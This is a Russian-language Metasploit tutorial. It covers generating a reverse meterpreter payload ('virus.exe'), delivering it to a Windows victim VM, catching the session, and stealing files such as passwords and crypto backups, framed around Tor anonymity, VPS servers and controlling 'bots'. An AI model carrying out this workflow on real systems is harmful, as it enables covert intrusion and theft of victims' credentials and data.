Где можно использовать клиент metasploit
Metasploit уже предустановлен в kali linux. Но не все задачи можно выполнить из виртуальной машины. Наш kali linux подключён через tor, а, как мы знаем, в tor невозможно открыть порт для прослушивания. Единственный способ открыть сервер в tor - воспользоваться механизмом onion серверов. А необходимость в открытии порта у нас есть: на него мы будем принимать подключения от наших ботов.
Есть два типа подключений пейлоада
Back connect(обратное подключение). Так же это reverse подключение - после запуска пейлоад сам связывается с сервером и устанавливает соединение.
Открытие локального порта - после запуска пейлоад начинает слушать на каком-то порте в ожидании подключения от управляющего сервера.
Каждой из этих методов применим в своей ситуации, но чаще всего подключение идёт через back connect, его мы и рассмотрим. При обратном подключении проблем возникает меньше всего, потому что от клиента не требуется наличие белого IP.
Так как же нам получить тогда белый IP для работы, если со своего адреса пробрасывать нельзя? - Для этого используются VPS сервера. На любом VPS доступен внешний IP, который можно использовать для принятия подключений. Про установку и настройку VPS мы поговорим позже, а пока настроим тестовый стенд в локальной сети.
Небольшое резюме: metasploit можно использовать на любой linux сборке, в том числе и на VPS. VPS необходим, если структура сети атакуемой машины неизвестна или прямое подключение невозможно по другим причинам.
Генерация payload
Нам понадобится виртуальная машиа с kali linux и клон windows машины на роль жертвы.
Как мы уже знаем, metasploit состоит из нескольких модулей, и мы уже смотрели на masfvenom, который используется для создания пейлоадов. Основным инструментом, через который ведётся управдение ботами, является mafconsole. Для начала нам нужен будет пейлоад, который мы будем закидывать на атакуемую машину. В нашем случае, на виртуальный windows. Первым делом надо узнать адрес kali linux во внутренней сети. Он у нас будет в роли сервера потому что мы будет делать back connect. Выполняем команду
Должно выдать информацию по двум адаптерам. lo и eth0. В eth0 будет строка начинающийся с inet, и после неё будет адрес. Скажем, 10.152.152.25. Его надо запомнить, он будет использоваться как адрес для подключений. На сервере в качестве этого адреса будет использоваться IP самого VPS. Его лучше скопировать напрямую из информации о VPS.
Далее создаём payload командой
Небольшая информация по ней
Класс - meterpreter. Из популярных есть ещё shell. Отличается возможностями. Shell - просто удалённый доступ к командной строке, а meterpreter поддерживает полноценный набор функций metasploit. Мы их ещё рассмотрим.
Архитектура - x86(32х разрядные процессоры). x86 работает не только на 32 битной видне, но и на 64. Она самая универсальная. Потому что все 64 битные системы поддерживают эмулацию 32, но наобором это не работает.
Цель - windows машина.
LHOST - это IP на который отстучит вирус. Его надо заменить на тот адрес, который был получен из команды ip a.
Формат пейлоада - exe. Тут так же может быть какой-нибудь скриптовый язык, и заражение будет после исполнения команды.
И финальная часть > virus.exe - записать всё в файл virus.exe. Этот файл создастся в текущей папке.
Настало время запустить копию windows для заражения и скинуть туда полученный файл. Проще всего передать файл через локальный веб сервер.
Запуск локального файлового сервера
Должно вывести
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Открываем в виртуальной windows браузер и заходим на http://10.152.152.25:8000/virus.exe
10.152.152.25 тут тоже надо подстроить под свой вывод команды ip a.
Файл virus.exe сохраняем, но пока не запускам. Перед запуском надо настроить сервер, чтобы принять подключение. Возвращаемся в kali. Открытый web сервер завершаем комбинацией ctrl+c.
Первый запуск msfconsole
Запускам его командой
После успешного запуска появится банер программы. Внизу него будет информация о версии, количестве эксплоитов в базе, а в начале строки начнёт писать msf5 >. Затем
Запускаем универсальный обработчик подключений командой
Начало строки должно поменяться на msf5 exploit(multi/handler) >. Это значит, что нужный модуль запущен. Теперь надо указать тип пейлоада, с которыми мы работаем. В нашем случае это делается командой
Устанавливаем тип рабочего пейлоада
Устанавливаем порт, на которой будут приходить подключения
Этого минимального набора настроек достаточно.
Запускаем прослушку
И теперь в виртуальной windows запускаем загруженный нами вирус. Сейчас в консоли kali должно появиться сообщение
Meterpreter session 1 opened
Тогда можно нажать enter и вернуться к консоли. Metasploit способен держать кучу подключений в фоне, подключение к заражённому windows тоже поддерживается в фоне. Для отображения списка всех соединений достаточно выполнить команду
Отображение списка текущих подключений
Чтобы перейти к подключению выполняем
Установка активного подключения
Посмотреть весь список доступных команд можно help. Он будет одинаковый для всех ботов, которые работают на metasploit пейлоаде. Для shell пейлоада доступны команды как в обычной командной строке. Давайте сразу попробуем некоторые частые команды. В metasploit сессии поддерживается большинство команд командной строки. Поэтому мы можем сделать, например, так:
cd C:\\secrets
pwd
ls
cat passwords.txt
Команда cat способна вывести содержимое файла в консоль. Удобно, это поддерживается даже чистым шелом, но не очень универсально. Более мощной является система обмена файлами в metasploit. Есть локальный путь - это тот путь, который сейчас считается активным на текущем машине с metasploit, и удалённый - путь на машине у жертвы. Мы уже рассматривали такой подход. Перед локальными командами просто ставится буква l. Давайте попробуем скачать условный файл crypto_backup.pdf, который находится по пути C:\\secrets
download crypto_backup.pdf
После окончания загрузи файл появится в нашей текущей папке. Узнать её можно командой
Показать активную локальную папку
Загрузка файла делается аналагочни. Команда upload, и имя файла вводится с локальной машины.
Как посмотреть, что запущено у жертвы? Надо просто выполнить команду
Отобразить процессы у жертвы
Она покажет всю информацию о процессках: пиды, имена и пути файлов, архитектуру и пользователя.
Ещё одна полезная и несложная команда покажется информацию об атакуемой системе
Ниформация об атакуемой машине
Так можно узнать билд системы. Он пригодится нам для подбора уязвимостей.
Ну и последняя часто используемая команда
Отключиться от текущей сессии
Возможности metasploit очень обширные, и с более специфичными командами мы будем знакомится на примере конкретных сценариев атаки. Используя metasploit можно даже перенастроить сеть человеку. Большим плюсом во всём этом является переносимость: metasploit поддерживает большой спектр устройств, и везде доступен широкий набор команд.